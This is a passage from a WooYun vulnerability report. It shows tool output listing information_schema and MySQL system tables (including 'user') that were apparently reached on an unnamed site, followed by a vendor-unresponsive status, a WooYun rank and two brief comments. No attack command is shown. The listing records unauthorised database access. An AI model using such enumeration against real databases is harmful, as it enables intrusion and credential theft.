 | SESSION_VARIABLES                            |
 | STATISTICS                                   |
 | TABLES                                       |
 | TABLESPACES                                  |
 | TABLE_CONSTRAINTS                            |
 | TABLE_PRIVILEGES                             |
 | TRIGGERS                                     |
 | USER_PRIVILEGES                              |
 | VIEWS                                        |
 +----------------------------------------------+
 
 Database: mysql
 [24 tables]
 +----------------------------------------------+
 | user                                         |
 | columns_priv                                 |
 | db                                           |
 | event                                        |
 | func                                         |
 | general_log                                  |
 | help_category                                |
 | help_keyword                                 |
 | help_relation                                |
 | help_topic                                   |
 | host                                         |
 | ndb_binlog_index                             |
 | plugin                                       |
 | proc                                         |
 | procs_priv                                   |
 | proxies_priv                                 |
 | servers                                      |
 | slow_log                                     |
 | tables_priv                                  |
 | time_zone                                    |
 | time_zone_leap_second                        |
 | time_zone_name                               |
 | time_zone_transition                         |
 | time_zone_transition_type                    |
 +----------------------------------------------+

修复方案：

站还有人维护吗

版权声明：转载请注明来源 ArcticWolf@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞Rank：15 (WooYun评价)

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

  1. 2016-03-10 21:44 | 从容 ( 普通白帽子 | Rank:415 漏洞数:99 | 哇啦啦啦啦啦 我的宝贝 | ..)

    3

    。。。。。

  2. 2016-03-11 00:06 | ArcticWolf ( 普通白帽子 | Rank:112 漏洞数:34 | 呃···是AW！不是AV！)

    2

    祈祷多给几个rank吧，，毕竟新人!_!

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin